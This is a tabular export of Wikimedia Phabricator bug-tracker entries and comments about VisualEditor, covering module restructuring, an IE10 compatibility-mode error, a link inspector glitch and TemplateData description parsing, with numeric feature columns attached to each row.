The init module would provide only a lightweight CODE and CODE object with little to no dependencies. Only jquery and oojs as dependency. Not oojs-ui or anything else.

For MediaWiki this means the mw.ve.init module would also take care of checking user preferences and wiki configuration with regards to skin/namespace/contentmodel etc. And mw.ve.init would also continue to handle the various skin transformations and loading bars (which would be readily available). 

### Thoughts

Do we need Platform to bootstrap Target? Right now in standalone we do, but in MediaWiki we don't. It's up to the Target implementation to decide this. So let's keep Platform shipped in init.

Class structure:
 * ve.init.Platform
 * ve.init.Target.
 * ve.init.sa.Platform becomes ve.sa.init.Platform. CODE becomes a showcase for how to bootstrap VE. Assuming we keep this generic, we can keep it under CODE and ship it by default. If it becomes a demo instead that people should not extend but instead copy from, we should move it to a global VEDemo javascript namespace or something like that.
 * ve.init.sa.Target becomes ve.sa.init.Target.
 * ve.init.mw.Target becomes mw.ve.init.Platform.

Also relevant are the feature tests. Currently only our MediaWiki platform has these feature tests, we should move these into the base  hardcoded in the MediaWiki platform. These should be moved to CODE and become part of the lightweight init module.
* Feature detection (ve.support)
 * CODE
 * CODE
 * (maybe)  CODE, since we're currently repeatingCODE in five places.
* Browser sniffing (ve.support.browsers.{whitelist,blacklist})



See also:
{T52612}
{T75593} (and its dependencies)"
451277,Separate ve.init and ve.platform,"In the public weekly triage on 2015-04-29, we discussed this task. We decided that this task, though important, does not block further progress against current goals around better stability and performance for users, or an improved mobile editing experience, so we rejected it for the quarter's blocking list.",,,1430333636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,True,,,95,,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.366666666666666,0.8166666666666667,"In the public weekly triage on 2015-04-29, we discussed this task. We decided that this task, though important, does not block further progress against current goals around better stability and performance for users, or an improved mobile editing experience, so we rejected it for the quarter's blocking list."
449793,Separate ve.init and ve.platform,I think @Krinkle should rewrite it.,,,1430159784,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,True,,,95,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,I thinkSCREEN_NAME should rewrite it.
449788,Separate ve.init and ve.platform,"@Krinkle & @Krenair: This task was skipped during the last two #editing_department_2014_15_q4_blockers triage meetings because it's tagged ""[REWRITE ME]"". Who would be the best person to rewrite it? It would be ideal if it could be rewritten before the next triage meeting so it's not skipped again.",,,1430159393,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-2p76xxlh44jpmzqza6ge,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,3.0,2.0,7.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,5.0,2.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,3.0,0.0,8.0,10.0,3.0,2.0,3.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,4.406779661016949,0.7627118644067796,"SCREEN_NAME &SCREEN_NAME: This task was skipped during the last two #editing_department_2014_15_q4_blockers triage meetings because it's tagged ""[REWRITE ME]"". Who would be the best person to rewrite it? It would be ideal if it could be rewritten before the next triage meeting so it's not skipped again."
52693,"VisualEditor: Setting a link on an image causes the caption's content to be be linked (fine), but the link inspector follows the cursor around (bad)","I apologize for the lousy name this is starting off with - I have no idea what toc all this.

Taken from English Wikipedia:

Time for another ""Why did you even try this""? kind of bug. (Tested on Firefox 22, Mono)

'''Steps to Reproduct'''
* Edit the [[bugonia]] article using the visual editor.
* Click the ""Aristeas and bugonia. Virgil's Georgics. Lyon. 1517"" image, which is about halfway down the article.
* There is an uneditable section a bit higher. It starts with the text ""If any further evidence is necessary"". Click that one.
* Now click the hyperlink button. A slight white block will appear on the image.
* Select any other word in the image and click the hyperlink button.

For some reason the hyperlink dialog box will now show up on the image, no matter what word you select. After trying a few times it seems to tire of that and starts jumping over the screen at random when a word is selected. The added screenshot is an example of this - it tried to hide behind the search box. Excirial (Contact me,Contribs) 19:37, 3 July 2013 (UTC)

Link to screenshot:
http://en.wikipedia.org/wiki/File:VisualEditor_-_Hyperlink_Dialog_glitch.png

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372883940,1385377902.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ibes2uplyibrsadgodld,task_description,resolved,True,c1,3,False,False,False,0,,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,4.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,3.3333333333333335,9.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,5.0,0.6666666666666666,1.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,7.333333333333333,2.0,12.666666666666666,1.0,1.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.6666666666666665,9.0,6.333333333333333,0.3333333333333333,2.6666666666666665,0.0,2.6666666666666665,0.0,1.6666666666666667,2.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,3.574074074074074,0.7000000000000001,"I apologize for the lousy name this is starting off with - I have no idea what toc all this.

Taken from English Wikipedia:

Time for another ""Why did you even try this""? kind of bug. (Tested on Firefox 22, Mono)

'''Steps to Reproduct'''
* Edit the [[bugonia]] article using the visual editor.
* Click the ""Aristeas and bugonia. Virgil's Georgics. Lyon. 1517"" image, which is about halfway down the article.
* There is an uneditable section a bit higher. It starts with the text ""If any further evidence is necessary"". Click that one.
* Now click the hyperlink button. A slight white block will appear on the image.
* Select any other word in the image and click the hyperlink button.

For some reason the hyperlink dialog box will now show up on the image, no matter what word you select. After trying a few times it seems to tire of that and starts jumping over the screen at random when a word is selected. The added screenshot is an example of this - it tried to hide behind the search box. Excirial (Contact me,Contribs) 19:37, 3 July 2013 (UTC)

Link to screenshot:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
254414,"VisualEditor: Setting a link on an image causes the caption's content to be be linked (fine), but the link inspector follows the cursor around (bad)","I believe that this is now fixed, but I'm not quite sure. Please re-open if you can give a current example.",,,1385377902,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ibes2uplyibrsadgodld,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.9259259259259259,"I believe that this is now fixed, but I'm not quite sure. Please re-open if you can give a current example."
52677,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"On every page I load on IE10, when switched into compatibility mode, I currently get the following error.

oo.js, line 97 character 2
Object doesn't support property or method 'create'

Also, if VE is not enabled on IE10, then why is this code being loaded ?

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50612",Medium,50.0,1372872180,1372901827.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-3jrxscvn6apol6nbrw66,task_description,resolved,True,c1,3,True,False,True,0,,1.0,0.0,0.0,2.0,2.0,2.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,15.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,6.0,5.0,1.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5348837209302326,0.6627906976744186,"On every page I load on IE10, when switched into compatibility mode, I currently get the following error.

oo.js, line 97 character 2
Object doesn't support property or method 'create'

Also, if VE is not enabled on IE10, then why is this code being loaded ?

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
253514,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,But now fixed in production anyway. :-),,,1372901827,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,But now fixed in production anyway. :-)
253511,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,Reclassifying as not serious after feedback confirming this only happens in developer mode.,,,1372880015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,14.0,21.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.642857142857143,1.0,Reclassifying as not serious after feedback confirming this only happens in developer mode.
253507,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"This code shouldn't be running before the browser blacklists, you're right. We need to fix this urgently to avoid so many errors for users on every page load.

To avoid confusion, note that this code works fine in ""real"" IE10, just not in compatibility mode; this isn't a blocker for VE working in IE.",,,1372878719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,10.0,16.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.716417910447761,0.7910447761194029,"This code shouldn't be running before the browser blacklists, you're right. We need to fix this urgently to avoid so many errors for users on every page load.

To avoid confusion, note that this code works fine in ""real"" IE10, just not in compatibility mode; this isn't a blocker for VE working in IE."
253503,VisualEditor: Init loads oo.js on every page view (before browser blacklist) which throws an error in IE10 + compatibility mode,"(In reply to comment #0)
> On every page I load on IE10, when switched into compatibility mode, I
> currently get the following error.
> 
> oo.js, line 97 character 2
> Object doesn't support property or method 'create'
> 
Object.create and other ES5 features are only supported in IE10 and up, so IE10 in compat mode does not support them.

> Also, if VE is not enabled on IE10, then why is this code being loaded ?
Unfortunately, the blacklisting code is in a class, and that class extends another class, and oo.extendClass() uses Object.create() :(

We're working on fixing this by moving the blacklisting up, see bug 50612",,,1372878612,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3jrxscvn6apol6nbrw66,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,2.0,3.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,17.0,0.0,6.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,2.0,10.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,3.831460674157303,0.6179775280898876,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Object.create and other ES5 features are only supported in IE10 and up, so IE10 in compat mode does not support them.

QUOTE
Unfortunately, the blacklisting code is in a class, and that class extends another class, and oo.extendClass() uses Object.create() :(

We're working on fixing this by moving the blacklisting up, see bug 50612"
52656,TemplateData: Parse wikicode and/or HTML in interface text,"Parse wikicode and/or HTML in interface text. This is useful to make longer descriptions, i.e. with some lists, more readable, see URL for a trial.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://de.wikipedia.org/w/index.php?title=Vorlage:Normdaten/Doku&diff=120168256&oldid=120165159
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49772
https://bugzilla.wikimedia.org/show_bug.cgi?id=48451",Medium,50.0,1372850220,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-72xdyaasptqyeuovlab3,task_description,open,True,c1,3,False,False,,0,,1.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,18.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,3.426470588235294,0.5588235294117647,"Parse wikicode and/or HTML in interface text. This is useful to make longer descriptions, i.e. with some lists, more readable, see URL for a trial.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL
URL"
1605011,TemplateData: Parse wikicode and/or HTML in interface text,"Here's an inelegant proof-of-concept https://gitlab.com/wmde/mediawiki-extensions-VisualEditor/-/commit/3d06cd4e37e7356bd4b9f5235c9145fcc538cf0e

Probably better to parse on the backend as part of the TemplateData API request, as discussed in {T241586}.",,,1603447176,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,381,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,21.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.878787878787879,0.8787878787878788,"Here's an inelegant proof-of-concept URL

Probably better to parse on the backend as part of the TemplateData API request, as discussed in {T241586}."
600567,TemplateData: Parse wikicode and/or HTML in interface text,">>! In T52656#1937666, @Krenair wrote:
> Well we definitely can't allow all HTML, and we probably don't want to put everything through the full MW parser...

Even if we don't want to put everything through the full MW parser having the possibility to use internal links inside the description to link for example with help pages or external pages where the information to add in the parameter is provided.",,,1454246269,,PHID-USER-bd4kgtavgiydswld34tj,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,134,,0.0,2.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,20.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,8.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.448979591836735,0.8163265306122449,"QUOTE
QUOTE

Even if we don't want to put everything through the full MW parser having the possibility to use internal links inside the description to link for example with help pages or external pages where the information to add in the parameter is provided."
597930,TemplateData: Parse wikicode and/or HTML in interface text,Providing a link to the template documentation page would be useful for some complex templates like https://en.wikipedia.org/wiki/Template:Coord which is almost impossible to describe using TemplateData. This is bug T51772.,,,1453877263,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,134,,3.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,16.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,4.967741935483871,0.9032258064516129,Providing a link to the template documentation page would be useful for some complex templates like URL which is almost impossible to describe using TemplateData. This is bug T51772.
597871,TemplateData: Parse wikicode and/or HTML in interface text,"For elaborate documentation and examples, one should use the Template documentation page instead. Remember this all has to fit within the VE interface when inserting a Template. This isn't the place for elaborate instructions.

Contextual information per-parameter tends to be more appropiate. The interface currently provides a link back to the Template documentation page only if the template has no TemplateData yet:
{F3284165}

Perhaps we should provide this link always? Instead of only when data is absent.",,,1453857840,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,134,,1.0,0.0,0.0,0.0,1.0,5.0,3.0,0.0,0.0,1.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,14.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,14.0,3.0,1.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,3.0,1.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,1.0,0.0,0.0,4.720430107526882,0.7204301075268817,"For elaborate documentation and examples, one should use the Template documentation page instead. Remember this all has to fit within the VE interface when inserting a Template. This isn't the place for elaborate instructions.

Contextual information per-parameter tends to be more appropiate. The interface currently provides a link back to the Template documentation page only if the template has no TemplateData yet:
{F3284165}

Perhaps we should provide this link always? Instead of only when data is absent."
590914,TemplateData: Parse wikicode and/or HTML in interface text,"Well we definitely can't allow all HTML, and we probably don't want to put everything through the full MW parser...",,,1452890347,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,132,,4.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9166666666666666,"Well we definitely can't allow all HTML, and we probably don't want to put everything through the full MW parser..."
252310,TemplateData: Parse wikicode and/or HTML in interface text,*** Bug 51311 has been marked as a duplicate of this bug. ***,,,1375191068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51311 has been marked as a duplicate of this bug. ***
252306,TemplateData: Parse wikicode and/or HTML in interface text,Please don't mark older bugs as duplicates of newer ones.,,,1375191065,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,1.0,Please don't mark older bugs as duplicates of newer ones.
252300,TemplateData: Parse wikicode and/or HTML in interface text,"(In reply to comment #1)
> Is this the same as Bug 51311?

I think so.

*** This bug has been marked as a duplicate of bug 51311 ***",,,1375187353,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.6363636363636362,0.7878787878787878,"(In reply to comment #1)
QUOTE

I think so.

*** This bug has been marked as a duplicate of bug 51311 ***"
252293,TemplateData: Parse wikicode and/or HTML in interface text,Is this the same as Bug 51311?,,,1375183810,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-72xdyaasptqyeuovlab3,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Is this the same as Bug 51311?
52643,VisualEditor: Disable drag-and-drop of non-media content in Firefox until we support that,"What it says on the tin; if you do nothing but rearrange text, the VE does not recognise it as an alteration and refuses to let you save.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
